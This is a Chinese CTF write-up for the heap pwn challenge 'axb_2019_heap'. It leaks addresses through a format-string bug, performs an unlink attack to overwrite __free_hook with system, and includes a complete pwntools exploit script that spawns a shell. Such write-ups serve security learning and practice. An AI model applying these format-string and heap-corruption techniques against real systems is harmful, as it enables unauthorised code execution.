附件
步骤:
gdb gdb axb_2019_heap
b main
run
n
n
到进入banner(),此时让我们输入name,随便输入s
,s
和ni
配合着使用,来到这边regs
,64位程序传参要用到寄存器,图中框子标出来的是用来传参的寄存器stack 50
main+28
的代码段,一个是libc_start_main+240
的libc_base,加上前面有6个寄存器,rdi, rsi, rdx, rcx, r8, r9,因此main+28
的相对偏移是11,libc_start_mian+240
的相对偏移是15,利用格式化字符串漏洞,name传入%11$p%15$p
就可以泄露这两个值p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-28-0x116A #0x116A是main函数的地址
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bss=base+0x202060 #0x202060是bss段的起始地址
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
成功修改掉了chunk0的fd和bk
运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
将free改写成systemedit(0,p64(system))
最后free(chunk3),chunk3里写的bin/sh,这样就能获取shell了
动调时候的bss段,每次不一样,success("bss:"+hex(bss))
输出一下即可
完整exp
from pwn import *
#p = remote("node3.buuoj.cn",26144)
p = process("./axb_2019_heap")
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF('./libc-2.23-64.so')
def add(idx,size,content):
p.sendlineafter('>>','1')
p.sendlineafter('):',str(idx))
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)
def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))
def edit(idx,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content: \n',content)
def show():
p.sendlineafter('>>','3')
p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
#success("base:"+hex(base))
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bss=base+0x202060
success("bss:"+hex(bss))
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3
#gdb.attach(p)
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#gdb.attach(p)
edit(0,p64(system))
#gdb.attach(p)
delete(3)
p.interactive()
参考wp:https://www.cnblogs.com/luoleqi/p/12422495.html